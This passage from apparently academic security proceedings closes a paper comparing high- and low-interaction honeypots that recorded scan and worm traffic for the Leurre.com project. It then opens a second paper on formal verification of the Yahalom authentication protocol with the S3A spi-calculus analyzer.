– The ones which target only one machine. They are called attacks of Type I.
– The ones which target two out of three virtual machines. They are called

attacks of Type II.
– The ones which target all three virtual machines. They are called attacks of

Type III.

Table 1 represents the distribution (in percentage) of these 3 categories on
each environment H1 and H2. Values are very similar. This attack classification
is used in the following to start comparing environments.

Table 1. Different Attack Types observed on H1 and H2

Attack Type H1 Environment H2 Environment

Total 7150 7364

Type I 4204 (59%) 4544 (62%)

Type II 288 (4%) 278 (4%)

Type III 2658 (37%) 2542 (34%)
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3.3 Type III Attack Analysis

We propose in this Section to look at Type III attacks. They stem for around
35% of the total attacks. Figure 2 represents the number of associated sources
observed on environments H1 (dark curve) and H2 (light curve) every 2 days.
Curves have the same general shape. We do not expect any difference for the
reason that attacks targeting the three virtual honeypots are likely to be broad-
sweeping scans [13]. Thus, those scans should be observed independently on the
platform. In other words, there should be the same number of scans on both
platforms. This is not exactly the case in Figure 2 where curves present small
dissimilarities.

A closer look at the attacks confirms that almost all IP sources associated
with Type III attacks have been observed on both environments. For those which
are not included in one curve, it appears that they are classified as attacks of type
III in one environment, and in attacks of Type II in the other one. In a few cases,
they are even classified as attacks of type I. An analysis of the corresponding
packet traffic reveals that they often consist of a single TCP packet sent to
one target. It might happen that packets are lost due to congestions in the
Internet and we can imagine that such packets are not retransmitted by the
attacker. To validate this assumption, we check that there is no bias in the loss
observation, that is, we observe an equal number of packet losses on platform H1

and on platform H2. In addition, the number of supposed scan packet losses is
distributed among all virtual machines without apparent preferences. As a first
approximation, the value we observe can also be linked to the estimated TCP
packet loss value in the path between the attacking machine and the honeypot
environment at a given date. If for a period of time ∆(t) the estimated packet
loss between the attacking source and the honeypots environment is p loss, then
the probability Pr of getting an incomplete scan on the six virtual machines
becomes:

Pr = 1 − (1 − p loss)6 (1)

In this experiment, we identify 92 such losses over a total of 2851 distinct type
III attacks during the two-month observation (observed on both environments
or only one). According to the previous equation, this is equivalent to an average
packet loss of 0.6%, which remains coherent with actual traffic monitoring [22].

Fig. 2. Attacks of Type III on the two French platforms H1 and H2
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This is even quite low if we compare with the global average 2-5% observed on
the Internet Traffic Report web site [23]. However, we also note on their site
high differences between continents. European traffic seems less susceptible, in
average, to packet losses than other continents such as Asia.

A first assertion based on our experiment is:

Assertion 1. It is not necessary to deploy honeypots using hundreds of public
IP addresses in order to identify scan activities against large block IPs. Three
addresses contained in that block are sufficient. Large-scale scans will be attacks
on the three honeypot machines. We may observe only two attempts in case of
packet losses, as it appears that not all scanning engines do implement packet
retransmission processes.

To complete the analysis, we also observe another interesting property com-
mon to H1 and H2 based on the fact that virtual machines have been assigned
contiguous IP addresses. The main scanning technique consists in issuing re-
quests to IP address by incrementing their IP value by 1. To quantify the im-
portance of this scanning method, we represent in 2 the six possible orders of
scanning that have been observed. We give for each of them their frequency (in
percentage), that is, the number of IP sources which have targeted the three
virtual machines over the total number of IP sources associated to Type III
attacks.

The figures remain quite constant when computing it on a monthly basis.
Attacks targeting machines by increasing IP numbers correspond to 79% of the
total. The other values are more or less equal. It is important to point out that
all attacks which have targeted the three machines of one platform in a different
order than Order 1 have, instead, respected this Order 1 when sending packets
to the three machines of the other platform.

This highlights the fact that all scans are done according to Order 1 but some
packets may arrive in a different order on the platform, creating the illusion of
other scanning orders. This remark is also validated by studying the source
ports used by the attacking machine, and more specially, their sequence over the
scans on the honeypot virtual machines. It consists in 80% of the cases in an
arithmetic sequence with a common difference of 1. These simple observations of
two different but correlated sequences (targeted virtual machines and attacking
source ports) leads to three major remarks:

Table 2. Scanning order for Type III attacks

Type III Attack Order Percentage

Order 1: Mach0, Mach1, Mach2 79%

Order 2: Mach0, Mach2, Mach1 5%

Order 3: Mach1, mach0, Mach2 4%

Order 4: Mach1, Mach2, Mach0 5%

Order 5: Mach2, Mach0, Mach1 3%

Order 6: Mach2, Mach1, Mach0 4%
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– We observe scan activities that sweep through IP addresses sequentially in
decreasing order in very few cases.

– Almost all scans that target three consecutive IPs are programmed to hit
them sequentially in increasing IP order. It might happen, however, that the
order is slightly disrupted because of some packet retransmissions. A study
of the different source ports used by the attacking machine confirms this (the
non-privileged ports are used sequentially).

– Scanning machines do not wait for a scan to be finished in order to target
the next IP. Scanning threads are not blocking. In other words, we observe
that temporal periods of scanning activities against two virtual machines
from a same source can overlap.

Finally, we intend to have a closer look at some scanner implementation
options in order to build relationships with the observed traces. For instance,
the advscan Sourceforge Project allows parametering some variables such as the
number of concurrent threads, the delay or the scanning duration [24].

3.4 Type II Attack Analysis

Attacks of Type II represent a very small fraction of all observed attacks on H1

and H2. As we explain in the previous Section, some scanning activities that
target a large block of IPs can miss some addresses insofar as the tools do not
retransmit lost packets. It has been observed that 88% of the attacks of type II
are residues of scanning attacks on both environments H1 and H2, and thus, are
incomplete Type III attacks. The remaining 12% are more interesting:

– For 9% of Type II attacks: The IPs have been observed against two virtual
machines on one environment, namely mach0 and mach2. The attacking IPs
have also been observed on the other environment. A closer look at the source
ports used by the attacking machines leads to the conclusion that these attacks
scan one out of two successive IPs. Indeed, all these IPs which have targeted
mach0 (X.X.X.1) and mach2 (X.X.X.3) on H1 have targeted mach1 (X.X.X.7)
only on H2. Inversely, all these IPs which have targeted mach0 (X.X.X.6) and
mach2 (X.X.X.8) on H2 have only targeted mach1 (X.X.X.3) on H1. This can
be seen as a limitation of our local honeypot platforms. Indeed, we will not be
able to distinguish attacks with larger scan hops. We are not aware of any tool
using this strategy. However, a complementary analysis can be performed by
means of large telescopes and darknets.

– For 3% of Type II attacks: They concern attacks on the sole two Windows
machines mach0 and mach1 on both environments H1 and H2. They are for
instance attack attempts on port 5554 (Sasser Worm FTP Server [25]) or
port 9898 (Dabber Worm backdoor [26]). It is clearly not the usual propa-
gation techniques of these worms. We face attacks that have acquired some
knowledge of the existence of Windows machines on both environments, and
that have made some random-like attempts on them. Indeed, we do not ob-
serve attempts on both ports but only one on each machine. The attacking
IPs are also not observed on both environments, unlike the others.
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This leads to a second assertion:

Assertion 2. Attacks targeting two out of three machines can be specific to the
two victim machines, but are with high probability residues of scanning activities.

3.5 Type I Attack Analysis

Categories of type I are far more difficult to compare between environments H1

and H2. They account for around 60% of all attacks on each machine. Figure
3 represent some global characteristics of these attacks on both environments.
To be more precise, Figure 3(a) presents the geographical location of the attack
sources corresponding to Type I attacks. On the horizontal axis are presented
the top 10 countries. The vertical axis gives the number of associated attacking
sources for each environment. Figure 3(b) gives the estimated attacking OS,
based on passive OS fingerprinting techniques [27]. The vertical axis gives also
the number of associated attacking sources for each environment.

As a general remark, there is no important differences between environments
H1 and H2. For instance, both are targeted by 4 main countries with the same
order of magnitude (France FR, China CN, Germany DE, United States of Amer-
ica US)3. The other country participations are more variable over months but
remain coherent between both environments. The passive fingerprinting analysis
confirms this similarity between attacks on the two environments too. The IP
sources which attack the platforms are essentially running on Windows. To com-
plete this comparison, Figure 4 lists the 10 most targeted ports on each platform
H1 and H2. The vertical axis shows the number of associated attacking sources
for each environment. The order is identical and the number of attacks on those
10 ports are very similar on both environments.

In summary, Type I attacks represent lots of common characteristics between
platforms H1 and H2. On the other hand, the amount of information collected
on both environments is totally different. The high interaction platform H1 has
received 480684 packets sent to its virtual machines. This is 40 times as many as
what H2 has received. This is quite normal, since many attacks target talkative
services like Microsoft ones (see Figure 4) which are not emulated on the low
interaction honeypots. The following Section intends to present a refined analysis
of the differences which are mainly due Type I attacks.

4 Refined Analysis

4.1 Different Type I Categories

As illustrated by the previous Section, Type I attacks present very similar global
statistics between the two environments H1 and H2 (see Figures 3 and 4). Thus,
if we intend to limit the analysis to these figures, we can clearly use a low

3 The geographical location has been obtained by means of the Maxmind commercial
utility [28].
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(a) Attacking Countries (b) Passive Fingerprinting

Fig. 3. Global statistics Comparison between H1 and H2

Fig. 4. Top 10 Targeted Ports for Type I attacks on each platform H1 and H2

interaction honeypot instead of a high interaction one. The complexity of the
last configuration is not justified, according to the comparison we made. On the
other hand, the number of collected packets is totally different. At this stage, we
cannot guarantee that type I attacks observed on H1 are exactly the same as the
ones observed on H2. Since the previous statistics tend to indicate this property,
we propose in this Section to refine the Type I attack analysis, in order to check
that they indeed present very similar characteristics between both platforms.
Thanks to our setup, we are able to distinguish two distinct phenomena that
are correct explanations for some observed type I attacks. We group all the
remaining non classified attacks in a third category. These three categories of
type I attacks are discussed in the following Sections.

4.2 Sequential Scans Residue

This is the first category of Type I attacks. They are to be compared with
the same large scanning activities than we presented in Section 3.3. This case
can be rare but we can also imagine that two losses can happen on the same
environment. It is simply identified by looking at common IP addresses on both
environments which have targeted one machine on one environment and three
virtual machines on the other one, during a short period of time. We find the
same number of corresponding sources on H1 and on H2, 1 out of 1000 Type
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III attacks in average. To validate that it correctly corresponds to packet losses,
we consider that if for a period ∆(t) the estimated packet loss between the
attacking source and the honeypots environment is p loss, then the probability
Pr to observe two losses out of three scans becomes approximatively:

Pr = 3 ∗ p loss2 ∗ (1 − p loss) (2)

This remains coherent with the low number of cases we observe. This category
has been observed thanks to the complementarities between H1 and H2. Indeed,
a single environment cannot allow identification of such attacks.

4.3 Random Propagation Activities

This is the second category of Type I attacks we can imagine. Many tools choose
random IPs during their propagation process. They can be worms or bots (Sasser,
W32/Agobot, Bobax, etc [25, 29]). As they choose their victims randomly (or
at least randomly in a certain IP class, for instance a class B if they favor local
propagation), it is quite normal to observe a given IP source only once if it
belongs to such an attack process.

To identify these Type I attacks, we have decided to build a technique upon
the work already published: we have presented in [13] a clustering algorithm
that allows identifying root causes of frequent processes observed in one en-
vironment. Due to space limitations, we refer the interested reader to [13] for
a detailed description of the clustering technique. In brief, we basically gather
all attacks presenting some common features (duration of the attacks, num-
ber of packets sent, targeted ports. . . ) based on generalization techniques and
association-rules mining. The resulting clusters are further refined using ”phrase
distance” between attack payloads. In summary, we gather within a cluster all
attacking sources that are likely to have used the same attack tool to target a
given machine.

As a consequence, tools propagating through random IPs have similar char-
acteristics, even if they are not observed twice on the environments, so they
should belong to the very same cluster. These Type I sources are more precisely
characterized by clusters where all IP sources have targeted only one virtual
machine, and where the attacks within a single cluster are equally distributed
among virtual machines. If the distribution of the attacks per virtual machine
is homogeneous (which means we do not observe a significant number of attacks
on a few virtual machines only), we consider that the attack belongs to this
category which we call Random Propagation Strategy Category. We have sys-
tematically verified this property for all clusters, with the algorithm presented
in Table 3.

If we consider the 240 clusters associated with attacks on H1, only 54 cor-
respond to type I attacks. In addition, 43 out of these 54 clusters have random
propagation strategies. The remaining 0.5% of the observed clusters that are as-
sociated with type I attacks are discussed in the next category. Finally, we want
to point out that attacks on that category can be identified as easily on platform
H1 as on H2.
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Table 3. Simple algorithm associated to Type I tools having random propagation
strategies

For each Cluster Cj of type I:

Preliminaries :

Compute the number Nj of attacks associated to Cj on the Environment
Compute the number Nj,0 of attacks associated to Cj on the virtual machine mach0
Compute the number Nj,1 of attacks associated to Cj on the virtual machine mach1
Compute the number Nj,2 of attacks associated to Cj on the virtual machine mach2
We check that Nj,0 + Nj,1 + Nj,2 = Nj

Threshold = 0.1Nj

Test on Cluster Cj :

Mean = µ =
Nj
3

variance = σ2 =

∑
0≤k≤2(Nj,k−µ)2

3

IF σ < Threshold
THEN

res = 1
Cluster Cj associated to random propagation tools

ELSE
res = 0
Cluster Cj associated to targeted attacks
A closer look at packet contents is required.

4.4 Targeted Attacks and Opened Issues

This is the third category of Type I attacks. It gathers all Type I attacks which
cannot be classified in the two previous categories. They are not numerous, as
explained above. They are represented by 0.5% of the clusters and imply a few
dozen attacking sources. This category regroups various attacks of interest, due
to their originality. These attacks have always targeted the same virtual machine
in only one environment. The reasons why some attacks focus on one machine
only are really worth being investigated to determine if a specific service is
targeted or if this is due to another phenomenon. In the following, we give two
illustrative examples:

– Example 1: Attacks on port 25666 target virtual machine mach0 on H1. This
attack has been observed 387 times from 378 different IP addresses between
August 2004 and February 2005. Each attack source sends on average three
packets to mach0. A closer look reveals that all packets have 80 or 8080
(http) as TCP source port and RST-ACK flags set. They are replies to DoS
attacks against web servers, also known as backscatters ( [2]). In summary,
we have observed for 6 months DoS attacks against different web servers,
and these attacks always spoofed mach0 IP address with source port 25666.
Such regular processes have been observed in other platforms we developed.
Up to now, we have observed 15 of these processes on H1 and H2.

Surprisingly enough, these attacks occur very regularly, day after day. It
seems also surprising that DoS tools choose to use static spoofed addresses:
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either spoofed (IP,port) are somehow hardcoded in a tool used by different
people (which would be more than bizarre), or these DoS attacks, observed
during 6 months, are part of a unique process launched against several tar-
gets over a very long period of time. This means that the spoofed address
list has been generated once, and has then been used for multiple attacks.
The regularity of such a process also indicates that a common cause is the
underlying reason for all these attacks. Finally, these periodic backscatters
come to ports that are likely close on both environments (usually very high
non-privileged ports in the range [1025, 65535]). Thus, we would get the same
amount of information, whatever the targeted environment is.

– Example 2: Targeted port 5000 Attack on mach1 on H2. Two very different
worms are mainly responsible for port 5000 scans. The first, Bobax, uses
port 5000 to identify Windows XP systems. Windows XP uses port 5000
(TCP) for ’Universal Plug and Play (UPnP)’, which is open by default.
The second worm, Kibuv, uses an old vulnerability in Windows XP’s UPnP
implementation to break into these systems. This vulnerability was one of the
first discovered in Windows XP and patches have long been made available.
However, we observe a cluster that is associated to that port. It gathers
73 distinct IP sources that have targeted only one virtual machine on port
sequence 5000. Surprisingly enough, the 73 attacks have targeted the very
same virtual machine within two months. This does not match the Bobax
and Kibuv worm propagation scheme, as it has been found that they rather
scan machines randomly. In addition, it is important to note that the port
is closed on that machine. Packets contain no payload. They are limited to
half a dozen TCP SYN packets. This attack cannot be considered as random
insofar as it always implies the same virtual target.

At the time of writing, we have no concrete explanation of such a phe-
nomenon. It has also been noticed by other administrators in Incidents mail-
ing lists [30]. The Michigan Internet Motion Sensors group notifies in [31]
that the observed activities do ”not support the theory of Kibuv entirely”.
This might be due to revived threats such as Sockets de Troie (Blazer 5)
or 1998 Trojan ICKiller or Yahoo Chat or non-referenced tools based on
the UPnP exploit [32, 33]. A closer look at the received packets is required
at this stage to determine the attack. However, as the port 5000 is close in
both platforms H1 and H2, we would get the same amount of information,
whatever the targeted environment is.

Type I attacks are very interesting. We have identified backscatters related
activities and tools with widespread random propagation. A few numbers of at-
tacks remain unclassified. They seem to be specific to the platform itself, so some
precautions must be required to understand them. At the time of writing, they
are hidden in the noisy permanent activities and thus, they do not really trigger
lots of attention. Simple honeypots emulating a few IPs allow their identifica-
tion. This is a preliminary but necessary step to start their in-depth analysis.
Then, more interaction on that port would bring valuable information on that
attack. As the attack is very specific and we have no preliminary knowledge on
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it, writing a simple script to H2 is not the correct choice. A controlled environ-
ment like H1 must be built to observe the attack details when launched against
real interactive systems. In a second step, a script can be developed for H2.

We show here that high interaction honeypots are very complementary to
low interaction honeypots as they can indicate which services are not currently
interactive enough on low interaction honeypots. We intend in the last Section
to make this analysis more automatic so that we can determine which services
must be developed (by means of scripts) on the low interaction honeypot to get
a similar amount of information.

4.5 Interaction Differences and Improvements

The platforms are globally targeted in the same way, as has been detailed in the
previous Sections. However, it is also clear that we collect more data on a high
interaction honeypot, as real services exchange more packets witht the attackers.
In average, 40 times more packets are collected with H1 than with H2. Based on
these observations, this Section intends to show where the information is lacking,
and how this can be handled.

As specified in Section 2, platforms H1 and H2 have similar configurations.
All open ports on machines in H1 are also opened in H2, and vice-versa. On the
H2 side, it can be sufficient to open a port in order to get attack information.
It can also be necessary to develop simple emulation scripts in order to enhance
the environment interaction. Thus, the idea is the following: The more attacks
interact with a port, the more important it is that honeyd runs an interactive
script behind. In other words, if the amount of information we obtain on attacks
through a given port on H1 is a lot higher than the one captured on H2 against
the same port, one of the two following actions must be undertaken:

– A script must be implemented to emulate the associated service if any.
– The script interaction should be brought to a higher level if the script already

exists.

Obviously enough, each attack may require different interaction levels. For
instance, scans do not require high interaction and an open port on both envi-
ronments will give the same amount of information.

Furthermore, the error would be to consider here only packets from/to a given
port to compare the amount of information between the two environments. For
instance, if a source sends a request on port A and then waits for the answer
to communicate with port B, the missing information if port A is closed on
the other environment is a lot more important than just considering the simple
request/answer on port A. We miss all the communication with port B as well.

As a consequence, we use the clusters presented in [13] and introduced in Sec-
tion 4 to avoid these problems and to determine what services should be enriched
on H2. Each cluster groups together all IP Sources sharing strong characteris-
tics in their attack processes. These attacking sources have exchanged the same
amount of information on one environment. The interaction we get on a virtual
machine must be weighted by the frequency of the attacks on the involved ports,
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Table 4. Comparing Interactions between H1 and H2

as we explain above. The interaction is quantified by considering the number of
exchanged packets. This can be refined by taking payload length into account,
but we limit this analysis on this simple assumption. This leads to the algorithm
presented in Table 4:

The algorithm has been launched on each platform for a 2-month period. We
get the following results:

– For ports where simple scripts are already attached to H2, it appears they
behave correctly compared to the real services running in H1.

– For Netbios ports (135, 139 and 445 specially), the ratio I(H2)
I(H1)

is equal to
1.5%. No script emulates these services in H2. This is clearly not acceptable,
insofar as H2 is missing a large quantity of information in comparison to H1.
We are in the process of writing scripts to emulate these services.

– For other ports like 111, 515,. . . , the operation of opening these ports pro-
vides as much information as the real services in H1 at this time. There is
no need to emulate these services.

The algorithm gives an important hint of which ports are not correctly config-
ured on the low interaction environment. It also provides a priority list of these
services the emulation of which should be improved as fast as possible. The
result confirms that most of the missing information comes from the Microsoft
services. To conclude, this algorithm highlights the important complementari-

Preliminaries :

FOR the two Environments H1 and H2:
FOR each Virtual Machine Mj and each associated port pj,k:

Gather the list of Clusters Cl,k corresponding to attacks on Virtual Machine Mj against at least port pj,k

Be N the total number of IP Sources having targeted Virtual machine Mj

Be η the threshold to compare interactions between environments. η = 0.7
FOR each Cluster Cl,k

Compute the number nl of Sources belonging to Cluster Cl,k

Compute Pl, the total number of exchanged packets between Sources belonging to Cluster Cl,k

Compute the frequency of Cluster Cl,k as

fl = nl
N

Interaction Estimation:

The interaction estimation is for H1

I(H1) =
P

l≥1 Pl.fl

The interaction estimation is for H2

I(H2) =
P

m≥1 Pm.fm

Analysis:

IF I(H2)
I(H1)

≤ η

The current implementation on port pj,k for Virtual Machine Mj in H2 is not correct
The Interaction on this port is not satisfactory. The associated script should be enhanced.
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ties that can be obtained by using both a high interaction and a low interaction
honeypot.

5 Leurre.com Project

We have presented in previous publications some experiments based on a high
interaction honeypot [13, 34]. These experiments have shown 1) that most of
the attacks are caused by a small number of attack tools and that some very
stable processes occur in the wild, and 2) that some processes have not been
noticed by more global observations from darknets and telescopes. Thus it is
worth deploying local sensors to complement the existing approaches.

The major objective consists in getting statistical information from the at-
tacks. Therefore, low interaction honeypots represent a suitable solution. Indeed,
we only want to observe the first attack steps in order to get a better understand-
ing of current malicious activities. This paper provides another strong motiva-
tion, as it shows that low interaction honeypots brings as much information as
high interaction ones when it comes down to global statistics on the attacks. In
addition, some regular comparisons between the two types of environments (the
high interaction environment being the etalon system) lead to an optimization
of the low interaction configuration.

Leurre.com project aims at disseminating such platforms everywhere thanks
to motivated partners, on a voluntary basis. Partners are invited to join this
project and install a platform on their own. We take care of the installation
by furnishing the platform image and configuration files. Thus, the installation
process is automatic. In exchange, we give the partners access to the database
and its enriched information 4. We are also developing a dedicated web to make
research faster and more efficient. The project has started triggering interest
from many organizations, whether academic, industrial or governmental. We
hope the number of partners will keep on increasing in the near future.

6 Conclusion

This paper presents a very important contribution to the Leurre.com project.
Indeed, it shows on one hand that high interaction honeypots are somehow super-
fluous in the context of large-scale deployment of sensors, since global statistics
remain very similar. On the other hand, it shows that they are vital for con-
trolling the configuration relevance of low interaction honeypots. This leads to
the conclusion that complementarities between high and low interaction honey-
pots can increase the accuracy of information collected by simple environments
deployed in different places. Besides, this comparison has led to an interesting
analysis of collected data. First, it allows identifying very specific attacks and

4 A Non-Disclosure Agreement is signed to protect the confidentiality of the names of
the partners.
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weird phenomena, as has been shown through some examples. Second, it high-
lights the need to take into account packet losses in the analysis of malicious
data. Otherwise, this can lead to misled conclusions.

Last but not least, we hope this paper will be an incitement for other partners
to join the open project Leurre.com that we are deploying.
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Abstract. Recently, a new verification tool for cryptographic protocols
called S3A (Spi Calculus Specifications Symbolic Analyzer) has been
developed, which is based on exhaustive state space exploration and
symbolic data representation, and overcomes most of the limitations of
previously available tools.

In this paper we present some insights on the ability of S3A to detect
complex type flaw attacks, using a weakened version of the well-known
Yahalom authentication protocol as a case study. The nature of the at-
tack found by S3A makes it very difficult to spot by hand, thus showing
the usefulness of analyis tools of this kind in real-world protocol analysis.

1 Introduction

The formal verification of cryptographic protocols is being extensively stud-
ied by several researchers, mainly due to the ever increasing importance and
spread of secure, distributed applications. With respect to proof techniques like
[1, 4, 17, 19], state exploration methods like [8, 11, 13, 14, 15] have the invaluable
advantage of being fully automatic. Although they require modeling the proto-
col behavior as a reasonably sized finite state system, which generally entails
the introduction of simplifying assumptions that can reduce the accuracy of the
analysis, they can be successfully used to discover protocol bugs.

Cryptographic protocol verification techniques can work on several descrip-
tion formalisms. In this paper attention is focused on the spi calculus [2], a
process algebra derived from π-calculus [16] with some simplifications and the
addition of cryptographic operations. The strength of the spi calculus, with re-
spect to other similar formalisms, stands mainly in its simplicity and accuracy
in describing cryptographic protocols and their security requirements. In addi-
tion, [2] shows that several useful security properties (secrecy and authenticity)
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of a cryptographic protocol can be defined in terms of the testing equivalence
relation [9].

The main issue of the spi calculus approach is how to check testing equivalence
in an efficient and easy way. This is difficult because of the universal quantifica-
tion over testers inherent in the definition of testing equivalence, which implies
checking that two processes are indistinguishable for any tester process, and
there are infinitely many such processes. This problem has been addressed at
first in [1] and [4], where tractable proof methods aimed at checking the testing
equivalence of spi calculus processes were introduced. More recently, a method
for checking the spi calculus testing equivalence using exhaustive state explo-
ration that solves the issue of the quantification over contexts, without imposing
artificial limits on message length and structure, has been presented in [11].

In this paper, we show how the method described in [11] and implemented by
an automatic verification tool called S3A (Spi Calculus Specifications Symbolic
Analyzer), has been applied with success to analyze several versions of the well-
known Yahalom authentication protocol. By success we mean that S3A was able
to discover a complex type-flaw bug in a version of the Yahalom protocol that
we weakened on purpose.

Moreover, although the protocol had already been extensively analyzed with
several tools based on various techniques [5, 18, 20, 3], by means of S3A we found
that the type-flaw bug flagged by [20] in one of the variants of the Yahalom
protocol proposed in [5] also affects another variant of the protocol known as
Modified Yahalom, presented in [18].

This paper assumes the reader is familiar with basic cryptographic and proto-
col analysis techniques, and is organized as follows: Sect. 2 gives a brief refresher
on the spi calculus, and informally describes its syntax and semantics. Section 3
illustrates the Yahalom protocol and gives its formal specification in the spi cal-
culus. Then, Sect. 4 presents the analysis method used by S3A. Sections 5 and 6
discuss in detail how S3A has been used to analyze the Yahalom protocol, and
compare the results with related work. Section 7 gives some concluding remarks
and closes the paper.

2 The Spi Calculus

The spi calculus is defined in [2] as an extension of the π calculus [16] with
cryptographic primitives. It is a process algebraic language designed for describ-
ing and analyzing cryptographic protocols. These protocols heavily rely on both
cryptography and message exchanges through communication channels; accord-
ingly, the spi calculus provides powerful primitives to express cryptography and
communication. A spi calculus specification is a system of independent processes,
executing in parallel; they synchronize via message-passing through named com-
munication channels. The spi calculus has two basic language elements: terms,
to represent data, and behavior expressions, to represent processes.

Terms can be either atoms, i.e. names (including the special name 0 repre-
senting the integer constant zero) and variables, or compound terms built using

.
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Table 1. Syntax of the spi calculus

m name
(σ, ρ) pair
0 zero
suc(σ) successor
x variable
H(σ) hashing
{σ}ρ shared-key encryption
σ+, σ− public/private part
{[σ]}ρ public-key encryption

[{σ}]ρ private-key signature

σ〈ρ〉.P output
σ(x).P input
P | Q parallel composition
(ν m) P restriction
0 nil
[σ is ρ] P match
let (x, y) = σ in P pair splitting
case σ of 0 : P suc(x) : Q integer case
case σ of {x}ρ in P shared-key decryption
case σ of {[x]}ρ in P decryption

case σ of [{x}]ρ in P signature check

the term composition operators listed on the left side of Table 1. Names may
represent communication channels, atomic keys and public/private key pairs,
nonces (also known as fresh names) and any other unstructured data.

Besides term specification, the spi calculus offers a set of operators to build
behavior expressions that, in turn, represent processes; they are listed on the
right side of Tab. 1. The language used in this paper, and accepted by S3A as
input, is a superset of the original spi calculus definition found in [2] except for
infinite replication, which is not supported; in particular, the spi calculus has
been extended to seamlessly support tuples by means of some syntactic sugar
with the following conventions:

– Tuples are interpreted as a left-associative nesting of pairs, so (a, b, c) is
understood as ((a, b), c).

– When a tuple of variables appears in an input statement, the statement is
equivalent to an input of an auxiliary variable, followed by an appropriate
sequence of pair splittings, possibly involving further auxiliary variables. So,
to perform an input of variables x, y and z from channel c, one can write
c(x, y, z) directly instead of c(ω0). let (ω1, z) = ω0 in let (x, y) = ω1 in,
where ω0 and ω1 are auxiliary variables.

– The pair splitting operator let , the restriction operator ν and the decryption
forms of case have been generalized to support tuples. For example, the
statement let (x, y, z) = t in is equivalent to let (ω0, z) = t in let (x, y) =
ω0 in, where ω0 is an auxiliary variable.

3 The Yahalom Protocol

The Yahalom protocol is an authentication protocol first publicly described in [5].
Several variants of the protocol have been proposed since its first description [5,
18]. Figure 1 shows the Yahalom protocol as it was originally proposed. Its goal is
to enable two agents, A and B, to establish a fresh (session) key kAB to exchange
secrets with the help of a trusted server S. Key generation is performed by the
server, who shares two long term keys (kAS and kBS) with A and B respectively.
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The upper part of the table depicts the protocol in an informal, but widely
used notation along with the corresponding graphical representation.

Albeit the exchanged messages are very simple, the informal description does
not convey to the reader all the information necessary to thoroughly understand
the protocol behavior. First of all, A, B and S are the publicly known identifiers
of the agents involved in the protocol, and kAS and kBS are two long term
symmetric keys; it is assumed that they are shared by and known only to A and
S, and B and S respectively. nA and nB are fresh nonces generated by A and B,
respectively, just before sending them. kAB is a fresh symmetric key generated
by S just before sending it in the two encrypted fields of the third message.
Moreover, it must be pointed out that each agent, after receiving a message or a
field already known to it, is able to validate it against the known value. On the
other hand, an agent has no way to check data items received for the first time.

All this information is captured instead by the specification of the same
protocol in the spi calculus, shown in the lower part of Fig. 1 and ready to be
processed by S3A for analysis.

The specification is composed of three processes, initiator , responder and
server , one for each role of the protocol, whose parameters represent the identity
to be assigned to the role and the long term keys to be used. In addition, the
first two parameters of the server process represent the identities of the intended
initiator and responder of the protocol, to which the server’s instance is tied.
According to the semantics of the spi calculus, arguments literally substitute the
corresponding parameters when a process is instantiated.

For example, the initiator process represents the initiator; the parameters
are its own identity I, the identity of the corresponding responder R and the
long term key the initiator must use to communicate with the authentication
server kIS .

Process Inst generates the long term keys for the initiator and the respon-
der (kAS and kBS) by means of the restriction operator (ν kAS , kBS), then
instantiates one copy of the initiator, responder and server processes with the
appropriate identities (A for the initiator and B for the responder) and keys
(kAS and kBS) as arguments. Due to the parallel composition operator, those
processes proceed in parallel.

The specification of the protocol roles in the spi calculus is straightforward;
for example, the initiator instantiated by initiator(A,B, kAS):

– creates a new nonce nA by means of the restriction operator (ν nI), where
parameter I is substituted by the corresponding argument A in the instan-
tiation of the process;

– outputs the pair A,nA – message 1 in Fig. 1 – on the public channel c with
the output statement c〈I, nI〉;

– gets message 3 with the input statement c(x, y) and binds the two compo-
nents of the input pair to variables x and y;

– checks that the first component of message 3, now bound to variable x,
actually is a tuple encrypted with the long term key kAS with the statement
case x of {xR, xkIR, xnI , xnR}kIS

in; if the decryption succeeds, the case

I Cibrario B. et al..
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statement also splits the cleartext of x into pieces and binds them to variables
xR, xkIR, xnI , xnR, else the initiator is stuck;

– checks that the cleartext of the first component of message 3 contains the
expected identity of the responder (B) and the correct nonce (nA) with the
sequence of statements [xR is R] [xnI is nI ]; if either the identity or the
nonce do not match, the initiator is stuck;

– outputs message 4, a pair, with the output statement c〈y, {xnR}xkIR
〉. The

first component of the pair is variable y that, in turn, was assigned to the
second component of message 3 in the input statement described previously.
The second component is synthesized by encryption of the responder’s nonce
xnR with the short term key xkIR just generated by the server; both data
items were received as part of message 3. Notice that the initiator is unable
to decode y, because it is a message encrypted with kBS (a key known only
to the server and the responder), so it passes it along without checking its
contents.

1: A → B : A, nA

2: B → S : B, {A, nA, nB}kBS

3: S → A : {B, kAB , nA, nB}kAS , {A, kAB}kBS

4: A → B : {A, kAB}kBS , {nB}kAB

A

S

B

�

3
�

2

�
4

�1

initiator(I, R, kIS) �
(ν nI)( c〈I, nI〉.

c(x, y).
case x of {xR, xkIR, xnI , xnR}kIS in
[xR is R] [xnI is nI ]
c〈y, {xnR}xkIR〉.0)

responder(R, kRS) �
c(xI1, xnI).
(ν nR)( c〈R, {xI1, xnI , nR}kRS 〉.

c(x, y).
case x of {xI2, xkIR}kRS in
[xI1 is xI2]
case y of {xnR}xkIR in
[xnR is nR] 0)

server(I, R, kIS , kRS) �
c(xR, x). [xR isR]
case x of {xI, xnI , xnR}kRS in
[xI is I]
(ν kIR)(c〈 {xR, kIR, xnI , xnR}kIS ,

{xI, kIR}kRS 〉.0)

Inst() �
(ν kAS , kBS)( initiator(A, B, kAS)

| responder(B, kBS)
| server(A, B, kAS , kBS))

Fig. 1. The Yahalom protocol and its specification in the spi calculus
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4 Overview of the Analysis Method

The core of the theory behind S3A is the Environment-Sensitive, Labeled Tran-
sition System (ES-LTS) formally defined in [11]. An ES-LTS is a symbolically
annotated tree whose paths represent the set of execution traces that describes
all the possible interactions of a given spi calculus process with its environment,
seen as an hostile entity in the sense of the Dolev-Yao intruder model [10]. In
[11], it has been proved that the trace equivalence relation defined between two
ES-LTSs is a necessary and sufficient condition for testing equivalence between
the corresponding spi calculus processes.

The Dolev-Yao model implies that the intruder can:

– look at, delete, reorder and replay any message sent over a public communi-
cation channel;

– decrypt any encrypted message for which it has got the right key, invert
invertible functions, e.g. suc(·), and split pairs into pieces;

– generate its own nonces;
– forge new messages starting from (pieces of) messages it already knows and

possibly coming from past sessions of the protocol; it can then inject the
forged messages into public communication channels.

On the other hand, as most other researchers do, the power of the intruder
is bounded by the following, well-known, perfect encryption assumptions:

– the only way to decrypt an encrypted message is to know the right key, i.e.
brute-force attacks on the cryptosystem are not modeled;

– the cryptosystem has enough redundancy so that the decryption algorithm
